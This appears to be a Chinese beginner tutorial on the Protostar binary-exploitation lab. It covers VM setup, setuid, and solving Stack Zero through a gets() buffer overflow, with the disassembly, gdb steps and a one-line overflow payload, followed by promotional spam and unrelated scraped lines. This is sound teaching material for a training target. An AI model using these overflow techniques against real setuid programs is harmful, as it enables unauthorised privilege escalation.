HOME> 世界杯进球榜> 二进制安全虚拟机Protostar靶场 安装,基础知识讲解,从零基础到精通,收藏这篇就够了!

二进制安全虚拟机Protostar靶场 安装,基础知识讲解,从零基础到精通,收藏这篇就够了!

2025-05-17 21:56:44

前言:Pwn?先搞定环境再说!

CTF比赛里的Pwn方向,江湖人称"门槛最高",听着就让人虎躯一震。啥?你说要先啃完汇编语言第四版?还要Python、C语言双修?别吓唬我!听说Protostar靶场是入门神器,那咱就先从这里开始,看看能不能活着走出来。

据说这玩意儿能让你搞懂:

网络编程?听着就头大。套接字?socket是啥玩意儿?栈溢出?听起来像内存泄漏一样可怕。格式化字符串、堆溢出、shellcode?容我缓缓...

下载地址先扔这儿:

https://exploit.education/downloads/

别被吓到!Protostar虚拟机,启动!

环境配置这事儿,说简单也简单,说难也难。反正我当年是踩了不少坑。

Protostar镜像:下!VMware:装!账号密码:user/user,记住了!Root权限:su root,密码godmod!

SSH连接?Putty伺候!

IP地址填上,账号密码输对,/bin/bash一敲,搞定!

要破解的"宝藏"藏在哪儿?/opt/protostar/bin,冲!

/opt/protostar/bin

ls -al,看看都有啥...

一堆红色的文件,啥意思?file stack0,查一下!

32位的setuid程序?听着就不好惹...

Setuid:普通人也能"假装"Root?

Setuid是个啥?官方解释太绕了,说人话就是:让普通用户也能运行需要Root权限的程序。

举个例子:你想让普通用户用Vim,但又怕被攻击?Setuid就派上用场了。

来,实战一下:User用户运行Vim,新开窗口ps -aux,看看进程:

Vim乖乖地以User权限运行。跑一下靶机上的Setuid文件:

神奇!User用户,Root权限!ls -l 看看文件权限:

rwx是啥不用说了吧?s是啥?Setuid!

简单来说,s让普通用户执行程序时,拥有程序创建者的权限(这里是Root)。我们的目标?破解这些文件,拿到Root权限!

Stack Zero:最简单的开始?

先来个简单的:Stack Zero。代码地址:

https://exploit.education/protostar/stack-zero/

目标:修改'modified'变量,让程序打印"成功改变变量"的字符串。

C语言代码如下:

#include

#include

#include

int main(int argc, char **argv)

{

volatile int modified; //定义一个变量

char buffer[64]; //给buffer变量定义数组,c语言中一个字符数就是一个字符串

modified = 0; //modified变量=0

gets(buffer); //获取我们的输入,赋予到buffer变量里

if(modified != 0) { //如果modified不等于0

printf("you have changed the 'modified' variable

"); //打印'成功改变modified变量'字符串

} else { //否则

printf("Try again?

"); //打印'再试一次'

}

}

核心:gets(buffer)。这玩意儿有漏洞!

Gets函数:永远不要用它!真的!

Gets函数的官方文档:

"永远不要使用gets函数!",因为它不知道要读多少字符,缓冲区溢出是分分钟的事儿。

汇编:底层秘密?

GDB启动!

gdb /opt/protostar/bin/stack0

汇编代码,走起!

set disassembly-flavor intel

disassemble main

0x080483f4 : push ebp

0x080483f5 : mov ebp,esp

0x080483f7 : and esp,0xfffffff0

0x080483fa : sub esp,0x60

0x080483fd : mov DWORD PTR [esp+0x5c],0x0

0x08048405 : lea eax,[esp+0x1c]

0x08048409 : mov DWORD PTR [esp],eax

0x0804840c : call 0x804830c

0x08048411 : mov eax,DWORD PTR [esp+0x5c]

0x08048415 : test eax,eax

0x08048417 : je 0x8048427

0x08048419 : mov DWORD PTR [esp],0x8048500

0x08048420 : call 0x804832c

0x08048425 : jmp 0x8048433

0x08048427 : mov DWORD PTR [esp],0x8048529

0x0804842e : call 0x804832c

0x08048433 : leave

0x08048434 : ret

push ebp, mov esp, ebp:函数开始的"标配"。leave:函数结束的"标配"。and esp, 0xfffffff0:位屏蔽,隐藏esp地址。sub esp, 0x60:esp减去0x60,分配栈空间。mov DWORD PTR [esp+0x5c], 0x0:modified变量初始化为0。lea eax, [esp+0x1c]:取buffer地址。call 0x804830c gets@plt:调用gets函数,危险!test eax, eax:检查modified的值。je 0x8048427 :如果modified等于0,跳转到"Try again"。

实战:三种姿势破解Stack Zero

姿势一:溢出!简单粗暴!

0x080483f4 : push ebp

0x080483f5 : mov ebp,esp

0x080483f7 : and esp,0xfffffff0

0x080483fa : sub esp,0x60

0x080483fd : mov DWORD PTR [esp+0x5c],0x0

0x08048405 : lea eax,[esp+0x1c]

0x08048409 : mov DWORD PTR [esp],eax

0x0804840c : call 0x804830c

0x08048411 : mov eax,DWORD PTR [esp+0x5c]

0x08048415 : test eax,eax

0x08048417 : je 0x8048427

0x08048419 : mov DWORD PTR [esp],0x8048500

0x08048420 : call 0x804832c

0x08048425 : jmp 0x8048433

0x08048427 : mov DWORD PTR [esp],0x8048529

0x0804842e : call 0x804832c

0x08048433 : leave

0x08048434 : ret

gets函数断点:b *0x0804840cgets函数后断点:b *0x08048411设置hook-stop:

define hook-stop

info registers

x/24wx $esp

x/2i $eip

end

运行:r执行gets:n随便输入,看看A离0x0000000有多远。计算偏移量:68个字符!退出GDB:q开干!

echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0

python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0

成功!

姿势二:控制EIP!指哪打哪!

EIP是啥?程序指针!控制它,就能控制程序走向!

程序头断点:b *main运行:r查看寄存器:info registers目标地址:0x8048419(输出"you have changed...")修改EIP:set $eip=0x8048419执行:n

搞定!

姿势三:修改EAX!偷天换日!

EAX存着比较的值,改成不等于0,就能骗过if语句!

比较处断点:b *0x08048415运行:r查看寄存器:info registers修改EAX:set $eax = 1继续运行:c

成了!

```

黑客/网络安全学习包

资料目录

成长路线图&学习规划

配套视频教程

SRC&黑客文籍

护网行动资料

黑客必读书单

面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

微博推送怎么取消

[图]古德温助攻杜克头槌破门 澳大利亚1-0突尼斯